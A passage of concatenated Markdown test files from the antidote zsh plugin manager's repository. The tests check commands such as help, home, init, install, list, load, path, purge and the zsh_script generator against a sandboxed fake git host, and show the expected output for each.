for lazy-loading antidote. - Fix [#54](https://github.com/mattmc3/antidote/issues/54) ```zsh % # Unload antidote % echo $+functions[antidote-dispatch] 1 % t_unload_antidote % echo $+functions[antidote-dispatch] 0 % # Now, lazy load it and make sure it works % autoload -Uz $T_PRJDIR/antidote % antidote -v &>/dev/null; echo $? 0 % # Now, tear down again % echo $+functions[antidote-dispatch] 1 % t_unload_antidote % echo $+functions[antidote-dispatch] 0 % # Now, lazy load from the functions dir % autoload -Uz $T_PRJDIR/functions/antidote % antidote -v &>/dev/null; echo $? 0 % echo $+functions[antidote-dispatch] 1 % ``` ## Version outside a git repo ```zsh % nongit_dir=$(mktemp -d) % err_file=$(mktemp) % cp $T_PRJDIR/antidote.zsh $nongit_dir/ % zsh $nongit_dir/antidote.zsh --version 2>$err_file | mask_semver antidote version X.X.X % [[ ! -s $err_file ]] && echo "no errors" no errors % ``` ## Teardown ```zsh % t_teardown % ``` mattmc3-antidote-4913257/tests/test_cmd_help.md000066400000000000000000000107721516600341500213750ustar00rootroot00000000000000# antidote help tests ## Setup ```zsh % source ./tests/__init__.zsh % t_setup % ``` ## General `antidote help` command exists ```zsh % antidote help &>/dev/null; echo $? 0 % ``` `antidote --h/--help` works ```zsh % antidote -h &>/dev/null; echo $? 0 % antidote --help &>/dev/null; echo $? 0 % ``` `antidote` man pages work ```zsh % PAGER=cat man antidote | head -n 1 | sed 's/ */ /g' ANTIDOTE(1) Antidote Manual ANTIDOTE(1) % ``` `antidote` man pages are in `$MANPATH` ```zsh % [[ "$MANPATH" == *"$T_PRJDIR/man:"* ]] || echo "MANPATH not set properly" % ``` ## antidote-bundle ```zsh % antidote help bundle | head -n 1 | sed 's/ */ /g' ANTIDOTE-BUNDLE(1) Antidote Manual ANTIDOTE-BUNDLE(1) % antidote bundle --help | head -n 1 | sed 's/ */ /g' ANTIDOTE-BUNDLE(1) Antidote Manual ANTIDOTE-BUNDLE(1) % antidote bundle -h | head -n 1 | sed 's/ */ /g' ANTIDOTE-BUNDLE(1) Antidote Manual ANTIDOTE-BUNDLE(1) % ``` ## antidote-help ```zsh % antidote help help | head -n 1 | sed 's/ */ /g' ANTIDOTE-HELP(1) Antidote Manual ANTIDOTE-HELP(1) % antidote help --help | head -n 1 | sed 's/ */ /g' ANTIDOTE-HELP(1) Antidote Manual ANTIDOTE-HELP(1) % antidote help -h | head -n 1 | sed 's/ */ /g' ANTIDOTE-HELP(1) Antidote Manual ANTIDOTE-HELP(1) % ``` ## antidote-home ```zsh % antidote help home | head -n 1 | sed 's/ */ /g' ANTIDOTE-HOME(1) Antidote Manual ANTIDOTE-HOME(1) % antidote home --help | head -n 1 | sed 's/ */ /g' ANTIDOTE-HOME(1) Antidote Manual ANTIDOTE-HOME(1) % antidote home -h | head -n 1 | sed 's/ */ /g' ANTIDOTE-HOME(1) Antidote Manual ANTIDOTE-HOME(1) % ``` ## antidote-init ```zsh % antidote help init | head -n 1 | sed 's/ */ /g' ANTIDOTE-INIT(1) Antidote Manual ANTIDOTE-INIT(1) % antidote init --help | head -n 1 | sed 's/ */ /g' ANTIDOTE-INIT(1) Antidote Manual ANTIDOTE-INIT(1) % antidote init -h | head -n 1 | sed 's/ */ /g' ANTIDOTE-INIT(1) Antidote Manual ANTIDOTE-INIT(1) % ``` ## antidote-install ```zsh % antidote help install | head -n 1 | sed 's/ */ /g' ANTIDOTE-INSTALL(1) Antidote Manual ANTIDOTE-INSTALL(1) % antidote install --help | head -n 1 | sed 's/ */ /g' ANTIDOTE-INSTALL(1) Antidote Manual ANTIDOTE-INSTALL(1) % antidote install -h | head -n 1 | sed 's/ */ /g' ANTIDOTE-INSTALL(1) Antidote Manual ANTIDOTE-INSTALL(1) % ``` ## antidote-list ```zsh % antidote help list | head -n 1 | sed 's/ */ /g' ANTIDOTE-LIST(1) Antidote Manual ANTIDOTE-LIST(1) % antidote list --help | head -n 1 | sed 's/ */ /g' ANTIDOTE-LIST(1) Antidote Manual ANTIDOTE-LIST(1) % antidote list -h | head -n 1 | sed 's/ */ /g' ANTIDOTE-LIST(1) Antidote Manual ANTIDOTE-LIST(1) % ``` ## antidote-load ```zsh % antidote help load | head -n 1 | sed 's/ */ /g' ANTIDOTE-LOAD(1) Antidote Manual ANTIDOTE-LOAD(1) % antidote load --help | head -n 1 | sed 's/ */ /g' ANTIDOTE-LOAD(1) Antidote Manual ANTIDOTE-LOAD(1) % antidote load -h | head -n 1 | sed 's/ */ /g' ANTIDOTE-LOAD(1) Antidote Manual ANTIDOTE-LOAD(1) % ``` ## antidote-path ```zsh % antidote help path | head -n 1 | sed 's/ */ /g' ANTIDOTE-PATH(1) Antidote Manual ANTIDOTE-PATH(1) % antidote path --help | head -n 1 | sed 's/ */ /g' ANTIDOTE-PATH(1) Antidote Manual ANTIDOTE-PATH(1) % antidote path -h | head -n 1 | sed 's/ */ /g' ANTIDOTE-PATH(1) Antidote Manual ANTIDOTE-PATH(1) % ``` ## antidote-update ```zsh % antidote help update | head -n 1 | sed 's/ */ /g' ANTIDOTE-UPDATE(1) Antidote Manual ANTIDOTE-UPDATE(1) % antidote update --help | head -n 1 | sed 's/ */ /g' ANTIDOTE-UPDATE(1) Antidote Manual ANTIDOTE-UPDATE(1) % antidote update -h | head -n 1 | sed 's/ */ /g' ANTIDOTE-UPDATE(1) Antidote Manual ANTIDOTE-UPDATE(1) % ``` ## antidote-foo ```zsh % antidote help foo No manual entry for antidote-foo antidote - the cure to slow zsh plugin management usage: antidote [] [ ...] flags: -h, --help Show context-sensitive help -v, --version Show application version --diagnostics Show antidote and system diagnostics commands: bundle Clone bundle(s) and generate the static load script install Clone a new bundle and add it to your plugins file update Update antidote and its cloned bundles purge Remove a cloned bundle home Print where antidote is cloning bundles list List cloned bundles path Print the path of a cloned bundle snapshot Save, restore, or list bundle snapshots init Initialize the shell for dynamic bundles help Show documentation load Statically source all bundles from the plugins file % ``` ## Teardown ```zsh % t_teardown % ``` mattmc3-antidote-4913257/tests/test_cmd_home.md000066400000000000000000000033401516600341500213660ustar00rootroot00000000000000# antidote home tests ## Setup ```zsh % source ./tests/__init__.zsh % t_setup % ``` ## General `antidote home` command exists ```zsh % antidote home &>/dev/null; echo $? 0 % ``` `antidote home --h/--help` works ```zsh % antidote home -h &>/dev/null; echo $? 0 % antidote home --help &>/dev/null; echo $? 0 % ``` `$ANTIDOTE_HOME` is used if set... ```zsh % ANTIDOTE_HOME=$HOME/.cache/antidote % antidote home | subenv HOME $HOME/.cache/antidote % unset ANTIDOTE_HOME % ``` `antidote home` is `~/Library/Caches/antidote` on macOS ```zsh % zstyle ':antidote:test:env' OSTYPE darwin21.3.0 % antidote home | subenv HOME $HOME/Library/Caches/antidote % zstyle -d ':antidote:test:env' OSTYPE % ``` `antidote home` is `$LOCALAPPDATA/antidote` on msys ```zsh % zstyle ':antidote:test:env' OSTYPE msys % zstyle ':antidote:test:env' LOCALAPPDATA $HOME/AppData % antidote home | subenv HOME $HOME/AppData/antidote % zstyle -d ':antidote:test:env' OSTYPE % zstyle -d ':antidote:test:env' LOCALAPPDATA % ``` `antidote home` uses `$XDG_CACHE_HOME` on an OS that defines it. ```zsh % # Setup % zstyle ':antidote:test:env' OSTYPE foobar % OLD_XDG_CACHE_HOME=$XDG_CACHE_HOME % export XDG_CACHE_HOME=$HOME/.xdg-cache % # Run test % antidote home | subenv XDG_CACHE_HOME $XDG_CACHE_HOME/antidote % # Teardown % zstyle -d ':antidote:test:env' OSTYPE % XDG_CACHE_HOME=$OLD_XDG_CACHE_HOME % ``` `antidote home` uses `$HOME/.cache` otherwise. ```zsh % # Setup % zstyle ':antidote:test:env' OSTYPE foobar % OLD_XDG_CACHE_HOME=$XDG_CACHE_HOME % export XDG_CACHE_HOME= % # Run test % antidote home | subenv HOME $HOME/.cache/antidote % # Teardown % zstyle -d ':antidote:test:env' OSTYPE % XDG_CACHE_HOME=$OLD_XDG_CACHE_HOME % ``` ## Teardown ```zsh % t_teardown % ``` mattmc3-antidote-4913257/tests/test_cmd_init.md000066400000000000000000000032011516600341500213750ustar00rootroot00000000000000# antidote init tests ## Setup ```zsh % source ./tests/__init__.zsh % t_setup % ``` ## Init ```zsh % antidote init #!/usr/bin/env zsh function antidote { case "$1" in bundle) source <( ANTIDOTE_DYNAMIC=true antidote-dispatch $@ ) || ANTIDOTE_DYNAMIC=true antidote-dispatch $@ ;; *) ANTIDOTE_DYNAMIC=true antidote-dispatch $@ ;; esac } % ``` Load plugins dynamically ```zsh % source <(antidote init) % antidote bundle foo/bar # antidote cloning foo/bar... sourcing bar.plugin.zsh from foo/bar... % antidote bundle foo/baz autoload:functions # antidote cloning foo/baz... sourcing baz.plugin.zsh from foo/baz... % antidote bundle $ZDOTDIR/custom/lib sourcing custom lib1.zsh... sourcing custom lib2.zsh... % echo $#plugins 2 % echo $#libs 2 % echo $+functions[baz] 1 % ``` ## Dynamic using: directive using: context persists across calls in dynamic mode ```zsh % source <(antidote init) % antidote bundle using:ohmy/ohmy path:plugins # antidote cloning ohmy/ohmy... % antidote bundle docker sourcing plugins/docker/docker.plugin.zsh from ohmy/ohmy... % antidote bundle extract sourcing plugins/extract/extract.plugin.zsh from ohmy/ohmy... % antidote bundle git sourcing plugins/git/git.plugin.zsh from ohmy/ohmy... % ``` using: context resets when a new using: is seen ```zsh % antidote bundle using:foo/bar % antidote bundle bar.plugin.zsh sourcing bar.plugin.zsh from foo/bar... % ``` path-based using: in dynamic mode ```zsh % antidote bundle using:$ZDOTDIR/custom path:plugins % antidote bundle myplugin sourcing myplugin... % antidote bundle doesnotexist 2>/dev/null % ``` ## Teardown ```zsh % t_teardown % ``` mattmc3-antidote-4913257/tests/test_cmd_install.md000066400000000000000000000040211516600341500221010ustar00rootroot00000000000000# antidote installs tests ## Setup ```zsh % source ./tests/__init__.zsh % t_setup % antidote bundle <$ZDOTDIR/.base_test_fixtures.txt &>/dev/null % ``` ## Install Command `antidote install` requires a `` argument. ```zsh % antidote install #=> --exit 1 antidote: error: required argument 'bundle' not provided, try --help % ``` Trying to install an existing bundle fails. ```zsh % antidote install foo/bar &>/dev/null #=> --exit 1 % antidote install foo/bar 2>&1 | subenv HOME >&2 antidote: error: foo/bar already installed: $HOME/.cache/antidote/fakegitsite.com/foo/bar % ``` Trying to install a non-existent bundle fails. ```zsh % antidote install does-not/exist 2>&1 #=> --exit 1 # antidote cloning does-not/exist... antidote: unable to install bundle 'does-not/exist'. % ``` Install a bundle ```zsh % antidote install themes/purify | subenv ZDOTDIR # antidote cloning themes/purify... Adding bundle to '$ZDOTDIR/.zsh_plugins.txt': themes/purify % tail -n 1 $ZDOTDIR/.zsh_plugins.txt themes/purify % ``` Install with `--kind` and `--conditional`: ```zsh % antidote install --kind fpath --conditional is-macos themes/ohmytheme | subenv ZDOTDIR # antidote cloning themes/ohmytheme... Adding bundle to '$ZDOTDIR/.zsh_plugins.txt': themes/ohmytheme kind:fpath conditional:is-macos % tail -n 1 $ZDOTDIR/.zsh_plugins.txt themes/ohmytheme kind:fpath conditional:is-macos % ``` Install with all annotation flags (`--path`, `--autoload`, `--pre`, `--post`, `--pin`): ```zsh % antidote install --path lib --autoload functions --pre setup_func --post teardown_func --pin 367eaa595eb776634c100cec24f241cc2256e79e test/install | subenv ZDOTDIR # antidote cloning test/install... Adding bundle to '$ZDOTDIR/.zsh_plugins.txt': test/install path:lib autoload:functions pre:setup_func post:teardown_func pin:367eaa595eb776634c100cec24f241cc2256e79e % tail -n 1 $ZDOTDIR/.zsh_plugins.txt test/install path:lib autoload:functions pre:setup_func post:teardown_func pin:367eaa595eb776634c100cec24f241cc2256e79e % ``` ## Teardown ```zsh % t_teardown % ``` mattmc3-antidote-4913257/tests/test_cmd_list.md000066400000000000000000000132641516600341500214170ustar00rootroot00000000000000# antidote list tests ## Setup ```zsh % source ./tests/__init__.zsh % t_setup % ``` Ensure there are no bundles: ```zsh % rm -rf -- $ANTIDOTE_HOME % antidote list 2>&1 | subenv ANTIDOTE_HOME antidote: list: no bundles found in '$ANTIDOTE_HOME' % mkdir -p $ANTIDOTE_HOME % antidote list 2>&1 | subenv ANTIDOTE_HOME antidote: list: no bundles found in '$ANTIDOTE_HOME' % ``` Clone the standard test bundles: ```zsh % antidote bundle <$ZDOTDIR/.base_test_fixtures.txt &>/dev/null % ``` ## List Command ### Default (Path + URL) `antidote list` shows path and URL by default (path first): ```zsh % antidote list | sort | subenv ANTIDOTE_HOME | sed $'s/\t/ /g' $ANTIDOTE_HOME/fakegitsite.com/bar/baz https://fakegitsite.com/bar/baz $ANTIDOTE_HOME/fakegitsite.com/foo/bar https://fakegitsite.com/foo/bar $ANTIDOTE_HOME/fakegitsite.com/foo/baz https://fakegitsite.com/foo/baz $ANTIDOTE_HOME/fakegitsite.com/foo/qux git@fakegitsite.com:foo/qux $ANTIDOTE_HOME/fakegitsite.com/getantidote/zsh-defer https://fakegitsite.com/getantidote/zsh-defer $ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy https://fakegitsite.com/ohmy/ohmy % ``` Entry count matches expected bundles: ```zsh % antidote list 2>/dev/null | wc -l | awk '{print $1}' 6 % ``` ### URLs `antidote list --url` ```zsh % antidote list --url | sort git@fakegitsite.com:foo/qux https://fakegitsite.com/bar/baz https://fakegitsite.com/foo/bar https://fakegitsite.com/foo/baz https://fakegitsite.com/getantidote/zsh-defer https://fakegitsite.com/ohmy/ohmy % ``` `antidote list -u` (short flag): ```zsh % antidote list -u | wc -l | awk '{print $1}' 6 % ``` ### Directories `antidote list --dirs` ```zsh % antidote list --dirs | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/fakegitsite.com/bar/baz $ANTIDOTE_HOME/fakegitsite.com/foo/bar $ANTIDOTE_HOME/fakegitsite.com/foo/baz $ANTIDOTE_HOME/fakegitsite.com/foo/qux $ANTIDOTE_HOME/fakegitsite.com/getantidote/zsh-defer $ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy % ``` `antidote list -d` (short flag): ```zsh % antidote list -d | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/fakegitsite.com/bar/baz $ANTIDOTE_HOME/fakegitsite.com/foo/bar $ANTIDOTE_HOME/fakegitsite.com/foo/baz $ANTIDOTE_HOME/fakegitsite.com/foo/qux $ANTIDOTE_HOME/fakegitsite.com/getantidote/zsh-defer $ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy % ``` ### Long `antidote list --long` shows key-value info per bundle: ```zsh % antidote list --long | head -5 Repo: bar/baz Path: $HOME/.cache/antidote/fakegitsite.com/bar/baz URL: https://fakegitsite.com/bar/baz SHA: 1aa9550512f5606c5c23b11f5a9ad660d6c10fb4 % ``` `antidote list -l` (short flag): ```zsh % antidote list -l | head -5 Repo: bar/baz Path: $HOME/.cache/antidote/fakegitsite.com/bar/baz URL: https://fakegitsite.com/bar/baz SHA: 1aa9550512f5606c5c23b11f5a9ad660d6c10fb4 % ``` SSH bundles show the full SSH URL: ```zsh % antidote list --long | grep -A3 'Repo:.*foo/qux' Repo: git@fakegitsite.com:foo/qux Path: $HOME/.cache/antidote/fakegitsite.com/foo/qux URL: git@fakegitsite.com:foo/qux SHA: 89661d7f95e6d805d4da6e1dc9bbaba9b126322a % ``` Unpinned bundles don't show a Pinned line: ```zsh % antidote list --long | grep -c 'Pinned:' 0 % ``` ### JSONL `antidote list --jsonl` ```zsh % antidote list --jsonl | subenv ANTIDOTE_HOME {"url":"https://fakegitsite.com/bar/baz","repo":"bar/baz","path":"$ANTIDOTE_HOME/fakegitsite.com/bar/baz","sha":"1aa9550512f5606c5c23b11f5a9ad660d6c10fb4"} {"url":"https://fakegitsite.com/foo/bar","repo":"foo/bar","path":"$ANTIDOTE_HOME/fakegitsite.com/foo/bar","sha":"400b29a76d68fd7c40bc7c0460424ab089b1e68a"} {"url":"https://fakegitsite.com/foo/baz","repo":"foo/baz","path":"$ANTIDOTE_HOME/fakegitsite.com/foo/baz","sha":"98cdde20c338bdb4df6efefd7f812d38ecc62b70"} {"url":"git@fakegitsite.com:foo/qux","repo":"git@fakegitsite.com:foo/qux","path":"$ANTIDOTE_HOME/fakegitsite.com/foo/qux","sha":"89661d7f95e6d805d4da6e1dc9bbaba9b126322a"} {"url":"https://fakegitsite.com/getantidote/zsh-defer","repo":"getantidote/zsh-defer","path":"$ANTIDOTE_HOME/fakegitsite.com/getantidote/zsh-defer","sha":"57ddc6fc6fba9862b899c483b6746b43c07dfb0d"} {"url":"https://fakegitsite.com/ohmy/ohmy","repo":"ohmy/ohmy","path":"$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy","sha":"1cc5b7ebe76328350234e841e72729f40057e2b6"} % ``` `antidote list -j` (short flag): ```zsh % antidote list -j | wc -l | awk '{print $1}' 6 % ``` Unpinned JSONL entries don't include a pin field: ```zsh % antidote list --jsonl | grep -c '"pin"' 0 % ``` Use `jq` to extract repo and URL pairs: ```zsh % antidote list --jsonl | jq -r '[.repo, .url] | @tsv' | sort | sed $'s/\t/ /g' bar/baz https://fakegitsite.com/bar/baz foo/bar https://fakegitsite.com/foo/bar foo/baz https://fakegitsite.com/foo/baz getantidote/zsh-defer https://fakegitsite.com/getantidote/zsh-defer git@fakegitsite.com:foo/qux git@fakegitsite.com:foo/qux ohmy/ohmy https://fakegitsite.com/ohmy/ohmy % ``` Use `jq` to extract repo and directory pairs: ```zsh % antidote list --jsonl | jq -r '[.repo, .path] | @tsv' | sort | subenv ANTIDOTE_HOME | sed $'s/\t/ /g' bar/baz $ANTIDOTE_HOME/fakegitsite.com/bar/baz foo/bar $ANTIDOTE_HOME/fakegitsite.com/foo/bar foo/baz $ANTIDOTE_HOME/fakegitsite.com/foo/baz getantidote/zsh-defer $ANTIDOTE_HOME/fakegitsite.com/getantidote/zsh-defer git@fakegitsite.com:foo/qux $ANTIDOTE_HOME/fakegitsite.com/foo/qux ohmy/ohmy $ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy % ``` Use `jq` to extract repo and SHA pairs: ```zsh % antidote list --jsonl | jq -r '[.repo, .sha[0:7]] | @tsv' | sort | sed $'s/\t/ /g' bar/baz 1aa9550 foo/bar 400b29a foo/baz 98cdde2 getantidote/zsh-defer 57ddc6f git@fakegitsite.com:foo/qux 89661d7 ohmy/ohmy 1cc5b7e % ``` ## Teardown ```zsh % t_teardown % ``` mattmc3-antidote-4913257/tests/test_cmd_load.md000066400000000000000000000045541516600341500213650ustar00rootroot00000000000000# antidote load tests ## Setup ```zsh % source ./tests/__init__.zsh % t_setup % ``` Clone the standard test bundles: ```zsh % antidote bundle <$ZDOTDIR/.base_test_fixtures.txt &>/dev/null % ``` ### General ```zsh % antidote load $ZDOTDIR/.zplugins_fake_load sourcing bar.plugin.zsh from foo/bar... sourcing qux.plugin.zsh from foo/qux... sourcing bar.plugin.zsh from foo/bar... sourcing lib/lib1.zsh from ohmy/ohmy... sourcing lib/lib2.zsh from ohmy/ohmy... sourcing lib/lib3.zsh from ohmy/ohmy... sourcing plugins/extract/extract.plugin.zsh from ohmy/ohmy... sourcing plugins/docker/docker.plugin.zsh from ohmy/ohmy... sourcing plugins/docker/docker.plugin.zsh from ohmy/ohmy... sourcing zsh-defer.plugin.zsh from getantidote/zsh-defer... sourcing plugins/magic-enter/magic-enter.plugin.zsh from ohmy/ohmy... sourcing custom/themes/pretty.zsh-theme from ohmy/ohmy... % cat $ZDOTDIR/.zplugins_fake_load.zsh | subenv #=> --file testdata/.zplugins_fake_load.zsh % # cleanup % t_reset % antidote bundle <$ZDOTDIR/.base_test_fixtures.txt &>/dev/null % ``` ### zstyles ```zsh % cp $ZDOTDIR/.zplugins_fake_load $ZDOTDIR/.zplugins.txt % zstyle ':antidote:bundle' file $ZDOTDIR/.zplugins.txt % zstyle ':antidote:static' file $ZDOTDIR/.zplugins.txt % # the static file should be different % antidote load 2>&1 | subenv ZDOTDIR antidote: bundle file and static file are the same '$ZDOTDIR/.zplugins.txt'. % # fixed... % zstyle ':antidote:static' file $ZDOTDIR/.zplugins.static.zsh % # the static file should be different % antidote load sourcing bar.plugin.zsh from foo/bar... sourcing qux.plugin.zsh from foo/qux... sourcing bar.plugin.zsh from foo/bar... sourcing lib/lib1.zsh from ohmy/ohmy... sourcing lib/lib2.zsh from ohmy/ohmy... sourcing lib/lib3.zsh from ohmy/ohmy... sourcing plugins/extract/extract.plugin.zsh from ohmy/ohmy... sourcing plugins/docker/docker.plugin.zsh from ohmy/ohmy... sourcing plugins/docker/docker.plugin.zsh from ohmy/ohmy... sourcing zsh-defer.plugin.zsh from getantidote/zsh-defer... sourcing plugins/magic-enter/magic-enter.plugin.zsh from ohmy/ohmy... sourcing custom/themes/pretty.zsh-theme from ohmy/ohmy... % cat $ZDOTDIR/.zplugins.static.zsh | subenv #=> --file testdata/.zplugins_fake_load.zsh % ``` ### Missing bundlefile ```zsh % antidote load /no/such/file.txt 2>&1 antidote: bundle file not found '/no/such/file.txt'. % ``` ## Teardown ```zsh % t_teardown % ``` mattmc3-antidote-4913257/tests/test_cmd_path.md000066400000000000000000000022341516600341500213730ustar00rootroot00000000000000# antidote path tests ## Setup ```zsh % source ./tests/__init__.zsh % t_setup % ``` Clone the standard test bundles: ```zsh % antidote bundle <$ZDOTDIR/.base_test_fixtures.txt &>/dev/null % ``` ## Path Command `antidote-path` prints path to bundle. ```zsh % antidote path foo/bar &>/dev/null #=> --exit 0 % antidote path foo/bar | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/fakegitsite.com/foo/bar % ``` `antidote-path` fails on missing bundles ```zsh % antidote path bar/foo &>/dev/null #=> --exit 1 % antidote path bar/foo; err=$? antidote: error: bar/foo does not exist in cloned paths % echo $err 1 % ``` `antidote-path` accepts piped input ```zsh % antidote list | antidote path | sort | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/fakegitsite.com/bar/baz $ANTIDOTE_HOME/fakegitsite.com/foo/bar $ANTIDOTE_HOME/fakegitsite.com/foo/baz $ANTIDOTE_HOME/fakegitsite.com/foo/qux $ANTIDOTE_HOME/fakegitsite.com/getantidote/zsh-defer $ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy % ``` `antidote-path` expands vars ```zsh % ZSH_CUSTOM=$ZDOTDIR/custom % antidote path '$ZSH_CUSTOM/plugins/myplugin' | subenv $HOME/.zsh/custom/plugins/myplugin % ``` ## Teardown ```zsh % t_teardown % ``` mattmc3-antidote-4913257/tests/test_cmd_purge.md000066400000000000000000000044571516600341500215720ustar00rootroot00000000000000# antidote purge tests ## Setup ```zsh % source ./tests/__init__.zsh % t_setup % ``` Clone the standard test bundles: ```zsh % antidote bundle <$ZDOTDIR/.base_test_fixtures.txt &>/dev/null % ``` ## Purge Command `antidote purge` requires a `` argument. ```zsh % antidote purge &>/dev/null #=> --exit 1 % antidote purge antidote: error: required argument 'bundle' not provided, try --help % ``` Trying to purge a missing bundle fails. ```zsh % antidote purge bar/foo &>/dev/null #=> --exit 1 % antidote purge bar/foo 2>&1 | subenv ANTIDOTE_HOME >&2 antidote: error: bar/foo does not exist at the expected location: $ANTIDOTE_HOME/fakegitsite.com/bar/foo % ``` Purging a bundle deletes the directory and comments out instances of the bundle in `.zsh_plugins.txt`. ```zsh % # bundle dir exists % bundledir=$ANTIDOTE_HOME/fakegitsite.com/foo/bar % test -d $bundledir #=> --exit 0 % # purge works % antidote purge foo/bar | subenv ZDOTDIR Removed 'foo/bar'. Bundle 'foo/bar' was commented out in '$ZDOTDIR/.zsh_plugins.txt'. % # bundle dir was removed % test -d $bundledir #=> --exit 1 % cat $ZDOTDIR/.zsh_plugins.txt #=> --file ./testdata/.zsh_plugins_purged.txt % ``` Purging a local path is not allowed. ```zsh % antidote purge $ANTIDOTE_HOME 2>&1 | subenv ANTIDOTE_HOME antidote: error: '$ANTIDOTE_HOME' is not a repo and cannot be removed by antidote. % ``` Purging a bundle when no bundlefile exists still succeeds (but doesn't mention commenting out). ```zsh % zstyle ':antidote:bundle' file /no/such/.zsh_plugins.txt % antidote purge foo/baz Removed 'foo/baz'. % zstyle -d ':antidote:bundle' file % ``` Test that `antidote purge --all` aborts when told "no". ```zsh % function test_exists { [[ -e "$1" ]] } % zstyle ':antidote:test:purge' answer 'n' % antidote purge --all #=> --exit 1 % antidote list --url | sort git@fakegitsite.com:foo/qux https://fakegitsite.com/bar/baz https://fakegitsite.com/getantidote/zsh-defer https://fakegitsite.com/ohmy/ohmy % ``` Test that `antidote purge --all` does the work when told "yes". ```zsh % function test_exists { [[ -e "$1" ]] } % zstyle ':antidote:test:purge' answer 'y' % antidote purge --all | tail -n 1 Antidote purge complete. Be sure to start a new Zsh session. % antidote list 2>/dev/null | wc -l | awk '{print $1}' 0 % ``` ## Teardown ```zsh % t_teardown % ``` mattmc3-antidote-4913257/tests/test_cmd_script.md000066400000000000000000000261031516600341500217440ustar00rootroot00000000000000# antidote zsh_script tests ## Setup ```zsh % source ./tests/__init__.zsh % t_setup % antidote bundle <$ZDOTDIR/.base_test_fixtures.txt &>/dev/null % ``` ## Script Command ### Fails ```zsh % antidote __private__ zsh_script #=> --exit 1 % antidote __private__ zsh_script antidote: error: bundle argument expected % ``` ### Arg style `zsh_script` accepts flat key-value pairs as an assoc array ```zsh % antidote __private__ zsh_script __bundle__ foo/bar kind zsh #=> --exit 0 % antidote __private__ zsh_script __bundle__ foo/bar #=> --exit 0 % antidote __private__ zsh_script __bundle__ foo/bar kind badkind 2>&1 antidote: error: unexpected kind value: 'badkind' % ``` ### Scripting types `zsh_script` works with local files and directories, as well as remote repos. Script a file: ```zsh % antidote __private__ zsh_script __bundle__ $ZDOTDIR/aliases.zsh | subenv ZDOTDIR source "$ZDOTDIR/aliases.zsh" % ``` Script a lib directory: ```zsh % antidote __private__ zsh_script __bundle__ $ZDOTDIR/custom/lib | subenv ZDOTDIR fpath+=( "$ZDOTDIR/custom/lib" ) source "$ZDOTDIR/custom/lib/lib1.zsh" source "$ZDOTDIR/custom/lib/lib2.zsh" % ``` Script a plugin directory: ```zsh % antidote __private__ zsh_script __bundle__ $ZDOTDIR/custom/plugins/myplugin | subenv ZDOTDIR fpath+=( "$ZDOTDIR/custom/plugins/myplugin" ) source "$ZDOTDIR/custom/plugins/myplugin/myplugin.plugin.zsh" % ``` Script repos in escaped path-style: ```zsh % zstyle ':antidote:bundle' path-style escaped % ANTIDOTE_HOME=$HOME/.cache/antibody % antidote __private__ zsh_script __bundle__ foo/bar 2>/dev/null | subenv ANTIDOTE_HOME #=> --file ./testdata/antibody/script-foobar.zsh % antidote __private__ zsh_script __bundle__ https://fakegitsite.com/foo/bar | subenv ANTIDOTE_HOME #=> --file ./testdata/antibody/script-foobar.zsh % antidote __private__ zsh_script __bundle__ https://fakegitsite.com/foo/bar.git | subenv ANTIDOTE_HOME #=> --file ./testdata/antibody/script-foobar.zsh % antidote __private__ zsh_script __bundle__ git@fakegitsite.com:foo/qux.git 2>/dev/null | subenv ANTIDOTE_HOME #=> --file ./testdata/antibody/script-fooqux.zsh % zstyle -d ':antidote:bundle' path-style % ANTIDOTE_HOME=$HOME/.cache/antidote % ``` ## Annotations ### kind:clone Nothing happens when the plugin already exists. ```zsh % antidote __private__ zsh_script __bundle__ foo/bar kind clone % ``` Clone a missing plugin. ```zsh % antidote __private__ zsh_script __bundle__ themes/ohmytheme kind clone # antidote cloning themes/ohmytheme... % ``` ### kind:zsh ```zsh % antidote __private__ zsh_script __bundle__ foo/bar kind zsh | subenv ANTIDOTE_HOME fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/foo/bar" ) source "$ANTIDOTE_HOME/fakegitsite.com/foo/bar/bar.plugin.zsh" % ``` ### kind:path ```zsh % antidote __private__ zsh_script __bundle__ foo/bar kind path | subenv ANTIDOTE_HOME export PATH="$ANTIDOTE_HOME/fakegitsite.com/foo/bar:$PATH" % ``` ### kind:fpath ```zsh % antidote __private__ zsh_script __bundle__ foo/bar kind fpath | subenv ANTIDOTE_HOME fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/foo/bar" ) % ``` ### kind:autoload ```zsh % antidote __private__ zsh_script __bundle__ $ZDOTDIR/functions kind autoload | subenv ZDOTDIR fpath+=( "$ZDOTDIR/functions" ) builtin autoload -Uz $fpath[-1]/*(N.:t) % ``` ### kind:defer ```zsh % antidote __private__ zsh_script __bundle__ foo/bar kind defer | subenv ANTIDOTE_HOME if ! (( $+functions[zsh-defer] )); then fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/getantidote/zsh-defer" ) source "$ANTIDOTE_HOME/fakegitsite.com/getantidote/zsh-defer/zsh-defer.plugin.zsh" fi fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/foo/bar" ) zsh-defer source "$ANTIDOTE_HOME/fakegitsite.com/foo/bar/bar.plugin.zsh" % ``` Test skipping defer loading ```zsh % antidote __private__ zsh_script __bundle__ foo/bar kind defer __skip_load_defer__ 1 | subenv ANTIDOTE_HOME fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/foo/bar" ) zsh-defer source "$ANTIDOTE_HOME/fakegitsite.com/foo/bar/bar.plugin.zsh" % ``` Test defer zstyle settings ```zsh % zstyle ':antidote:bundle:*' defer-options '-a' % zstyle ':antidote:bundle:foo/bar' defer-options '-p' % antidote __private__ zsh_script __bundle__ foo/bar kind defer | subenv ANTIDOTE_HOME if ! (( $+functions[zsh-defer] )); then fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/getantidote/zsh-defer" ) source "$ANTIDOTE_HOME/fakegitsite.com/getantidote/zsh-defer/zsh-defer.plugin.zsh" fi fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/foo/bar" ) zsh-defer -p source "$ANTIDOTE_HOME/fakegitsite.com/foo/bar/bar.plugin.zsh" % % # 